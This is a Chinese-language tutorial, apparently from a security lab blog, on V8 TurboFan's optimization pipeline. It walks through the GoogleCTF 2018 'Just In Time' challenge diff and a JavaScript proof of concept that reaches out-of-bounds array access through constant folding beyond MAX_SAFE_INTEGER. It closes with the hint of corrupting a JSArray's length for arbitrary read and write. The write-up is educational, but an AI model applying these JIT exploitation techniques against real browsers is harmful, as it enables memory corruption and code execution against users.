作者：[email protected]知道创宇404实验室
日期：2022年7月19日
“JavaScript 代码本身就是一个二进制程序。” 不知道读者是否在什么地方听说过这样的解释，但笔者认为这个形容相当生动。因为 JavaScript 的代码是懒惰解释的，只有在特定函数被执行时候，解释器才会对这部分代码进行解释，生成对应的字节码。但这些字节码会随着代码的运行而产生变动，同一份代码有可能在同一次执行中，由于动态优化的缘故而被解释为两段相差甚大的字节码。不知道您现在是否对这句话有了一点体会。在某些文章中我们甚至能看见这样的解释：“解释器即编译器”。
V8 的工作原理
或许您已经在某些地方见过这张图了，它很简洁的概况了整个流程。
- 首先会将 JavaScript 代码传递给 V8 引擎，并将其递给 Parse
- 然后它会根据代码生成对应的抽象语法树(AST)
- 接下来，Ignition 解释器就会直接根据 AST 生成对应的字节码，并开始执行它们
- 会有另外一个线程监测代码的执行过程，收集合适的数据进行回调
- TurboFan 会根据这些数据优化字节码，让它们能够更快的执行
一个最简单的例子是，如果在运行过程中，TurboFan 发现某个函数的参数无论如何都只会是 32bit 整数，而不会是其他任何类型，那么它就可以省略掉很多类型检查上的操作了，完全有可能让一些加法被优化为单纯的 add 指令，而不是其他更加复杂的函数；但如果运行中发现，在某一时刻，传入的参数类型发生了变化，那么就会去除这次的优化，令代码回到本来的状态。
从安全的角度来说，如果一段被优化后的代码在遇到某些非法输入时没能正确的执行“去优化(deoptimizations)”步骤或是甚至没有做 deoptimizations，就有可能导致这段代码被错误的使用。
V8 字节码
字节码是根据语法树转换而来的，那不如我们先从语法树开始 。通过添加参数 --print-ast 可以令其打印出 AST。来看下面的示例：
function add(val1, val2) {
return val1 + val2;
}
var res1=add(1,2);
var res2=add("a","b");$ ./d8 ./bytecode.js --print-ast
[generating bytecode for function: ]
--- AST ---
FUNC at 0
. KIND 0
. LITERAL ID 0
. SUSPEND COUNT 0
. NAME ""
. INFERRED NAME ""
. DECLS
. . FUNCTION "add" = function add
. . VARIABLE (0x56295442b6b0) (mode = VAR, assigned = true) "res1"
. . VARIABLE (0x56295442b7c8) (mode = VAR, assigned = true) "res2"
. BLOCK NOCOMPLETIONS at -1
. . EXPRESSION STATEMENT at 62
. . . INIT at 62
. . . . VAR PROXY unallocated (0x56295442b6b0) (mode = VAR, assigned = true) "res1"
. . . . CALL
. . . . . VAR PROXY unallocated (0x56295442b650) (mode = VAR, assigned = true) "add"
. . . . . LITERAL 1
. . . . . LITERAL 2
. BLOCK NOCOMPLETIONS at -1
. . EXPRESSION STATEMENT at 81
. . . INIT at 81
. . . . VAR PROXY unallocated (0x56295442b7c8) (mode = VAR, assigned = true) "res2"
. . . . CALL
. . . . . VAR PROXY unallocated (0x56295442b650) (mode = VAR, assigned = true) "add"
. . . . . LITERAL "a"
. . . . . LITERAL "b"
[generating bytecode for function: add]
--- AST ---
FUNC at 12
. KIND 0
. LITERAL ID 1
. SUSPEND COUNT 0
. NAME "add"
. PARAMS
. . VAR (0x56295442b6e0) (mode = VAR, assigned = false) "val1"
. . VAR (0x56295442b760) (mode = VAR, assigned = false) "val2"
. DECLS
. . VARIABLE (0x56295442b6e0) (mode = VAR, assigned = false) "val1"
. . VARIABLE (0x56295442b760) (mode = VAR, assigned = false) "val2"
. RETURN at 31
. . ADD at 43
. . . VAR PROXY parameter[0] (0x56295442b6e0) (mode = VAR, assigned = false) "val1"
. . . VAR PROXY parameter[1] (0x56295442b760) (mode = VAR, assigned = false) "val2"第一个 AST 是整个程序执行流的，而第二个则是函数 add 的 AST，我们的重点放在第二个上并将其转为流程图：
+---------+
+---------+ Function+----------+
| +---------+ |
+--v---+ +----v---+
|params| | return |
+---------------+ +----+---+
| | |
| | |
+----v-----+ +----------+ +----v----+
| var val1 | | var val2 | | add |
+----------+ +----------+ +------+---------+-------+
| |
| |
+-------v--------+ +---------v------+
| var proxy val1 | | var proxy val2 |
+----------------+ +----------------+这里我们省略掉了 DECLS 分支，因为我们并不是很关心这些。
出于一些特殊的规则，语法树会为函数创建两个分支，一个用于参数，另外一个则用于执行流。并且，执行流中使用 var proxy 结点代替参数，当使用到参数时，这两个结点会从左子树中的参数结点中获取变量。
而如果附带 --print-bytecode 参数，就能够得到其对应的字节码：
[generated bytecode for function: add (0x314000253b61 <SharedFunctionInfo add>)]
Bytecode length: 6
Parameter count 3
Register count 0
Frame size 0
Bytecode age: 0
0x314000253d3e @ 0 : 0b 04 Ldar a1
0x314000253d40 @ 2 : 39 03 00 Add a0, [0]
0x314000253d43 @ 5 : a9 Return
Constant pool (size = 0)
Handler Table (size = 0)
Source Position Table (size = 0)- Parameter count：参数个数。除了我们提供的参数以外，还包括了一个 this 指针。
Ignition 使用一种名为 “register machine” 的机制来模拟寄存器，其中有一个与 x86 下的 rax 相似的 accumulator register(累加寄存器)，它用于常规的计算以及返回值。
具体的字节码就不再做翻译了，因为下文中其实不怎么需要它，此处多有一些抛砖引玉的意思。
优化过程
通过添加参数 --trace-opt 和 --trace-deopt 可以跟踪程序的优化和去优化过程：
class Player{}
class Wall{}
function move(obj) {
var tmp = obj.x + 42;
var x = Math.random();
x += 1;
return tmp + x;
}
for (var i = 0; i < 0x10000; ++i) {
move(new Player());
}
move(new Wall());
for (var i = 0; i < 0x10000; ++i) {
move(new Wall());
}$ ./d8 ./bytecode.js --trace-opt --trace-deopt
[marking 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> for optimized recompilation, reason: small function]
[compiling method 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN) using TurboFan]
[optimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN) - took 0.139, 0.330, 0.015 ms]
[completed optimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN)]
[marking 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> for optimized recompilation, reason: hot and stable]
[compiling method 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> (target TURBOFAN) using TurboFan OSR]
[optimizing 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> (target TURBOFAN) - took 0.137, 0.687, 0.019 ms]
[bailout (kind: deopt-soft, reason: Insufficient type feedback for construct): begin. deoptimizing 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)>, opt id 1, bytecode offset 123, deopt exit 6, FP to SP delta 96, caller SP 0x7ffdd0530428, pc 0x3fe4001c4b51]
[bailout (kind: deopt-eager, reason: wrong map): begin. deoptimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)>, opt id 0, bytecode offset 0, deopt exit 1, FP to SP delta 32, caller SP 0x7ffdd05303b8, pc 0x3fe4001c485f]
[marking 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> for optimized recompilation, reason: small function]
[compiling method 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN) using TurboFan]
[marking 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> for optimized recompilation, reason: hot and stable]
[optimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN) - took 0.138, 0.612, 0.098 ms]
[completed optimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN)]
[compiling method 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> (target TURBOFAN) using TurboFan OSR]
[optimizing 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> (target TURBOFAN) - took 0.253, 0.901, 0.044 ms]可以注意到，当程序多次执行 move(new Player()) 时，TurboFan 认为可以对此做更进一步的优化以加快程序执行；而让其遇到 move(new Wall()) 时，则因为二者的不同类型而出现 wrong map ，于是其去除以前的优化并重新执行，再之后又因为多次执行而再次优化。
也可以通过
%PrepareFunctionForOptimization()与%OptimizeFunctionOnNextCall()来进行主动优化，不过这需要您在执行时添加参数--allow-natives-syntax来允许这种语法。另外，具体的过程我们会在接下来的内容说明。目前我们需要知道的事实仅有如上这部分内容。
图形化分析
function add(x)
{
var va1=1;
if(x)
va1=0;
return 1+va1;
}
for (let i = 0; i < 0x10000; ++i) {
add(true);
}
for (let i = 0; i < 0x10000; ++i) {
add(false);
}通过添加 --trace-turbo 可以在目录下生成 *.json 和 *.cfg* ，我们可以将 add 函数导出的 json 导入到 turbolizer 中以获取到对应的值传递图：(隐藏了一部分，优化以前的状态)
在值传递的过程中可以注意到，Turbofan 总是传递 Range(n,n) 类型，它表示传出的值的上下限，对于常数来说，它的上下界是相同的；而对于 SpeculativeSafeIntergerAdd 这类运算函数，它的类型则根据执行流分别计算下界和上界。
是的，只需要知道值的上下限就能够确定最终能够使用什么样的类型了。它只是在尝试简化 AST 树，因此并不涉及到实际的执行过程，只需要确定在执行的过程中，需要用什么类型的值表示变量即可。
另外，因为一些编译原理上的设计，每个变量只会经过一次赋值，因此需要使用 Phi 结点去对值进行选择。尽管它只可能返回 0 或 1，但仍然给出了 Range(0,1) 。
在完成基本的构建以后，是通过 TyperPhase::Run 对整个结构图进行遍历并确定所有结点的属性，其调用链大致如下：
TyperPhase::Run --> Typer::Run --> GraphReducer::ReduceGraph --> Typer::Visitor::Reduce --> Typer::Visitor::***Typer (此处 * 用以指代某个名称，例如 JSCall)
这会遍历每一个结点，并根据它们的输入来确定最后的类型，并且在这个过程中，它会尝试减少一部分节点来加快运行效率。
姑且用一段简单的源代码来说明一下这个过程，哪怕我并不希望在入门阶段就立刻进入源代码层面，但又似乎逃不开它：
void Typer::Run(const NodeVector& roots,
LoopVariableOptimizer* induction_vars) {
if (induction_vars != nullptr) {
induction_vars->ChangeToInductionVariablePhis();
}
Visitor visitor(this, induction_vars);
GraphReducer graph_reducer(zone(), graph(), tick_counter_, broker());
graph_reducer.AddReducer(&visitor);
for (Node* const root : roots) graph_reducer.ReduceNode(root);
graph_reducer.ReduceGraph();
···
induction_vars->ChangeToPhisAndInsertGuards();
}
}在 Typer::Run 中会调用 ReduceGraph 尝试对结点进行缩减，它最终会根据结点的类型来确定运行的函数：
Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
if (!fun.IsHeapConstant() || !fun.AsHeapConstant()->Ref().IsJSFunction()) {
return Type::NonInternal();
}
JSFunctionRef function = fun.AsHeapConstant()->Ref().AsJSFunction();
if (!function.shared().HasBuiltinId()) {
return Type::NonInternal();
}
switch (function.shared().builtin_id()) {
case Builtin::kMathRandom:
return Type::PlainNumber();
case Builtin::kMathFloor:
case Builtin::kMathCeil:
case Builtin::kMathRound:
case Builtin::kMathTrunc:
return t->cache_->kIntegerOrMinusZeroOrNaN;
···这是一个庞大的 switch ，对于那些内置函数(buildin)，它能够很快找出对应的类型；而对于一些其他类型的函数，则返回 NonInternal 。这么做的目的是能够简化一些检查操作，既然判明了这个结点必然会是某个确定的属性，就不再需要对它的输入做其他类型的检查了。
对于常数，也有类似却又小得多的结果：
Type Typer::Visitor::TypeNumberConstant(Node* node) {
double number = OpParameter<double>(node->op());
return Type::Constant(number, zone());
}不过这里用到的是 double 类型，所以 v8 中的常数最大值肯定小于普通的八字节可表示的常数最大值。
然后再进入 Type::Constant ：
Type Type::Constant(double value, Zone* zone) {
if (RangeType::IsInteger(value)) {
return Range(value, value, zone);
} else if (IsMinusZero(value)) {
return Type::MinusZero();
} else if (std::isnan(value)) {
return Type::NaN();
}
DCHECK(OtherNumberConstantType::IsOtherNumberConstant(value));
return OtherNumberConstant(value, zone);
}对于普通整数的返回值自然就是一个 Range 了，另外还有两种值被使用 -0 和 NaN 。
而 Speculative 前缀含有推测的意思，这往往意味着这个函数能够根据情况进一步优化，例如SpeculativeSafeIntegerAdd 就是如此。在优化以前，它会以这个结点表示所有的加法，而在它通过代码运行时分析，发现其执行数据符合一定的预期时，就能够用更加具体且更加快速的函数来替代了。
Type OperationTyper::SpeculativeToNumber(Type type) {
return ToNumber(Type::Intersect(type, Type::NumberOrOddball(), zone()));
}ToNumber 会继续向下化简，最终根据我们给出的 Range 选择一个合适的函数替代，我们以如下的例子说明：
假如我们使用一个稍大一些的数：
let opt_me = (x) => {
return x + 1000000000000;
}
opt_me(42);
for(var i=0;i<0x10000;i++)
{
opt_me(4242);
}就会使用 SpeculativeNumberAdd 替代它：
而如果我们只使用一些较小的数：
let opt_me= (x) => {
let y = x ? 10 : 20;
return y + 100;
}
for(var i=0;i<0x10000;i++)
{
opt_me(false);
}就会生成相当简单的 Int32Add ：
另外，而如果需要通过索引来读取数组：
function opt() {
var arr = [1.1,2.2];
var x = 1;
return arr[x];
}
for (var i=0;i<0x20000;i++) {
opt();
}
有一个特殊的函数是 CheckBounds ，它会检查输入的索引值是否越界，然后才能够返回对应的数。它的类型也是 Range ，通过确定的上下界就能够很容易的分析出索引是否越界，因此在旧版的 V8 中会在优化后消除检查；不过，在现在的版本里，这个检查又加回来了：
似乎看起来消除检查也没太大问题，因为上下界确定的情况下 Turbofan 认为绝对不可能发生越界了。 但如果在代码层面和优化层面对数值的计算不一致，优化层计算出的结果表示不会越界，而代码层的计算结果却超出了范围，那么就能够利用优化后取出检查的机制来越界读写了。 很危险，因此现在又恢复了这个检查。
总结一下目前可能产生的优化：
- JSCall 调用内置函数结点被 PlainNumber 等已知类型替代
- NumberConstant 以 Range(n,n) 表示
- SpeculativeNumberAdd(PlainNumber, PlainNumber) 则会以 PlainNumber 表示，
当然，肯定不只是这些内容，但我们没必要全部展开一一阐明，并且我相信您至少对这种替换有了一定的认识了。
但这只是初步优化，接下来还会做不同阶段的分层优化：
TypedOptimization typed_optimization(&graph_reducer, data->dependencies(),
data->jsgraph(), data->broker());
AddReducer(data, &graph_reducer, &dead_code_elimination);
AddReducer(data, &graph_reducer, &create_lowering);
AddReducer(data, &graph_reducer, &constant_folding_reducer);
AddReducer(data, &graph_reducer, &typed_lowering);
AddReducer(data, &graph_reducer, &typed_optimization);
AddReducer(data, &graph_reducer, &simple_reducer);
AddReducer(data, &graph_reducer, &checkpoint_elimination);
AddReducer(data, &graph_reducer, &common_reducer);在 TypedOptimization 中，会调用各类 Reduce 函数对类型进行优化，例如上述的 SpeculativeNumberAdd ：
Reduction TypedOptimization::ReduceSpeculativeNumberAdd(Node* node) {
Node* const lhs = NodeProperties::GetValueInput(node, 0);
Node* const rhs = NodeProperties::GetValueInput(node, 1);
Type const lhs_type = NodeProperties::GetType(lhs);
Type const rhs_type = NodeProperties::GetType(rhs);
NumberOperationHint hint = NumberOperationHintOf(node->op());
if ((hint == NumberOperationHint::kNumber ||
hint == NumberOperationHint::kNumberOrOddball) &&
BothAre(lhs_type, rhs_type, Type::PlainPrimitive()) &&
NeitherCanBe(lhs_type, rhs_type, Type::StringOrReceiver())) {
// SpeculativeNumberAdd(x:-string, y:-string) =>
// NumberAdd(ToNumber(x), ToNumber(y))
Node* const toNum_lhs = ConvertPlainPrimitiveToNumber(lhs);
Node* const toNum_rhs = ConvertPlainPrimitiveToNumber(rhs);
Node* const value =
graph()->NewNode(simplified()->NumberAdd(), toNum_lhs, toNum_rhs);
ReplaceWithValue(node, value);
return Replace(value);
}
return NoChange();
}这会尝试通过 NumberOperationHintOf 来判别我们的表达式行为：
NumberOperationHint NumberOperationHintOf(const Operator* op) {
DCHECK(op->opcode() == IrOpcode::kSpeculativeNumberAdd ||
op->opcode() == IrOpcode::kSpeculativeNumberSubtract ||
op->opcode() == IrOpcode::kSpeculativeNumberMultiply ||
op->opcode() == IrOpcode::kSpeculativeNumberPow ||
op->opcode() == IrOpcode::kSpeculativeNumberDivide ||
op->opcode() == IrOpcode::kSpeculativeNumberModulus ||
op->opcode() == IrOpcode::kSpeculativeNumberShiftLeft ||
op->opcode() == IrOpcode::kSpeculativeNumberShiftRight ||
op->opcode() == IrOpcode::kSpeculativeNumberShiftRightLogical ||
op->opcode() == IrOpcode::kSpeculativeNumberBitwiseAnd ||
op->opcode() == IrOpcode::kSpeculativeNumberBitwiseOr ||
op->opcode() == IrOpcode::kSpeculativeNumberBitwiseXor ||
op->opcode() == IrOpcode::kSpeculativeNumberEqual ||
op->opcode() == IrOpcode::kSpeculativeNumberLessThan ||
op->opcode() == IrOpcode::kSpeculativeNumberLessThanOrEqual ||
op->opcode() == IrOpcode::kSpeculativeSafeIntegerAdd ||
op->opcode() == IrOpcode::kSpeculativeSafeIntegerSubtract);
return OpParameter<NumberOperationHint>(op);
}最终它会发现，如果表达式的二值均为 NumberOperationHint::kNumber 这类数字而不会是字符串或其他类型，那么就能够将 SpeculativeNumberAdd 替换为 NumberAdd 。
JSTypedLowering::ReduceJSCall 也有类似的操作，这里不再展开，读者可以自行尝试对照源代码。
GoogleCTF2018-Just In Time
惯例根据一个实际的样本来说明 Turbofan 的利用过程，理解一下这种优化在什么情况下能够被利用。首先我们从资料较多的例题开始。
题目附件给了 diff 文件，我们可以直接阅读代码来确定问题所在：
@@ -1301,6 +1302,8 @@ struct TypedLoweringPhase {
data->jsgraph()->Dead());
DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
data->common(), temp_zone);
+ DuplicateAdditionReducer duplicate_addition_reducer(&graph_reducer, data->graph(),
+ data->common());
···
@@ -1318,6 +1321,7 @@ struct TypedLoweringPhase {
data->js_heap_broker(), data->common(),
data->machine(), temp_zone);
AddReducer(data, &graph_reducer, &dead_code_elimination);
+ AddReducer(data, &graph_reducer, &duplicate_addition_reducer);
AddReducer(data, &graph_reducer, &create_lowering); 可以注意到，在最后的一系列优化中，题目添加了一个额外的优化，向上跟踪可以找到其来自于 DuplicateAdditionReducer 再往上找即可发现关键的漏洞代码：
+Reduction DuplicateAdditionReducer::Reduce(Node* node) {
+ switch (node->opcode()) {
+ case IrOpcode::kNumberAdd:
+ return ReduceAddition(node);
+ default:
+ return NoChange();
+ }
+}
+
+Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
+ DCHECK_EQ(node->op()->ControlInputCount(), 0);
+ DCHECK_EQ(node->op()->EffectInputCount(), 0);
+ DCHECK_EQ(node->op()->ValueInputCount(), 2);
+
+ Node* left = NodeProperties::GetValueInput(node, 0);
+ if (left->opcode() != node->opcode()) {
+ return NoChange();
+ }
+
+ Node* right = NodeProperties::GetValueInput(node, 1);
+ if (right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ Node* parent_left = NodeProperties::GetValueInput(left, 0);
+ Node* parent_right = NodeProperties::GetValueInput(left, 1);
+ if (parent_right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ double const1 = OpParameter<double>(right->op());
+ double const2 = OpParameter<double>(parent_right->op());
+ Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
+
+ NodeProperties::ReplaceValueInput(node, parent_left, 0);
+ NodeProperties::ReplaceValueInput(node, new_const, 1);
+
+ return Changed(node);
+}我们筛出关键的分支判断和漏洞代码：
+ switch (node->opcode()) {
+ case IrOpcode::kNumberAdd:
+ ···
+ if (left->opcode() != node->opcode()) {
+ ···
+ if (right->opcode() != IrOpcode::kNumberConstant) {
+ ···
+ if (parent_right->opcode() != IrOpcode::kNumberConstant) {
+ ···
+ Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));总结如下： - 结点本身为 kNumberAdd - 左树结点也为 kNumberAdd - 右树结点为 kNumberConstant - 左树的右父节点也为 kNumberConstant - 满足以上条件时，将该结点替换为 NumberConstant(const1+const2)，意味将两个常数合并
满足条件的情况下，其结点树大致如下：x+constant+constant
+------------------+
| kNumberConstant |
+------+ |
| +------------------+
|
|
|
+---------v------+ +------------------+
| kNumberAdd | |kNumberConstant |
| | | |
+---------+------+ +--------+---------+
| |
| |
| |
| +---------------+ |
+-------> kNumberAdd <--------+
| |
+---------------+之后它会将两个常数结点运算后替换成 x+constant ，这样在执行时就能减少一次运算了。
这里的加法即为 JIT 优化层面的运算，我们可以考虑这样一种情况： - Index[x] 未越界，可执行 - Index[x+1+1] 未越界，可执行 - Index[x+2] 越界，不可执行
不知您是否发现了某些问题，如果我们在代码层面写的是 Index[x+1+1] ，那么它是一条可执行的语句，而如果写 Index[x+2] 则会被检查出越界；那如果我们写入 Index[x+1+1] 使其通过检查后，让优化器把这段语句自动优化成了 Index[x+2] ，是否就能够绕过边界检查实现越界读写呢？
如果您熟悉 C 语言或是其他类似的编程语言，那么你或许不会认为把
1+1优化为2是一种不合理的选择，但由于在 JavaScript 中的整数实际上是通过 double 类型的浮点数表示，因此就有可能在运算时发生问题。 例如，Number.MAX_SAFE_INTEGER就表示能够安全运算的最大整数，超出该数的运算就有可能发生上述问题，但它并不禁止你使用这类整数，因此在编写代码时需要程序员自己注意。
我们可以直接上代码试试这个事实：
V8 version 7.3.0 (candidate)
d8> x=Number.MAX_SAFE_INTEGER
9007199254740991
d8> x=x+1
9007199254740992
d8> x=x+1
9007199254740992
d8> x=x+1
9007199254740992这个事实在各个版本中都存在，尽管它并不一定算是个问题，但和题目的优化机制结合就变得可以利用了。
一个简单的越界
function oob(x)
{
var double_array=[1.1,2.2,3.3,4.4];
//Number.MAX_SAFE_INTEGER=9007199254740991;
let t=(x==0)?Number.MAX_SAFE_INTEGER-2:Number.MAX_SAFE_INTEGER+1;
//Range(9007199254740991-2,9007199254740991+1);
t=t+1+1;
//优化前:Range(9007199254740991,9007199254740991+1);
//优化后:Range(9007199254740991,9007199254740991+3);
t=t-9007199254740989;
//优化前:Range(2,3)
//优化后:Range(2,5)
return double_array[t];
}
console.log(oob(0));
console.log(oob(1));
%OptimizeFunctionOnNextCall(oob);
console.log(oob(1));执行它将会打印出如下内容：
$ ./d8 exp.js --allow-natives-syntax --trace-turbo
3.3
4.4
0我们可以尝试通过节点海跟踪一下这个分析过程。在没有进行优化时，我们得到的节点海为：
此时将遍历所有结点，并通过计算得出它们的 Range 取值范围。可以发现，此时的 CheckBounds 得知这个范围为 Range(2,3) ，这是不可能发生溢出的。
然后到了 typedlowering 阶段，将开始进行初步的优化，可以注意到，此时 1+1 已经被优化为了 NumberConstant[2] ，但并没有重新计算 CheckBounds 得到的范围。
由于turbofan发现这个结点获得的索引始终都在Range(2,3)，因此在simplified lowering阶段已经将这个结点删除：
而当完成优化以后，再次执行这个函数时，t+1+1 变成 t+2 导致了计算结果超出预期进行越界读写，却没能被检查出来，因此得到了越界的能力。
总结以下上述的过程就是：
- Range 只在最初的阶段进行计算
- 而如果后续的优化会导致 Range 的范围变动，而 turbofan 并不会重新计算
- 于是该值发生越界
当然，由于现在的版本不再删除 checkbound 结点，因此这个问题只会发生在过去，但它仍然值得我们学习。
能够越界读写以后，泄露地址和伪造数据自然不在话下。只要修改 JSArray 的 length 属性为需要的值，之后就能够随意读写界外了。相关代码如下：
bool IsOutOfBoundsAccess(Handle<Object> receiver, uint32_t index) {
uint32_t length = 0;
if (receiver->IsJSArray()) {
// 获取 JSArray 的 length
JSArray::cast(*receiver)->length()->ToArrayLength(&length);
} else if (receiver->IsString()) {
length = String::cast(*receiver)->length();
} else if (receiver->IsJSObject()) {
length = JSObject::cast(*receiver)->elements()->length();
} else {
return false;
}
// 判断是否越界
return index >= length;
}具体的利用已经有很多师傅详细聊过，因此本篇就不做多余的赘述了。
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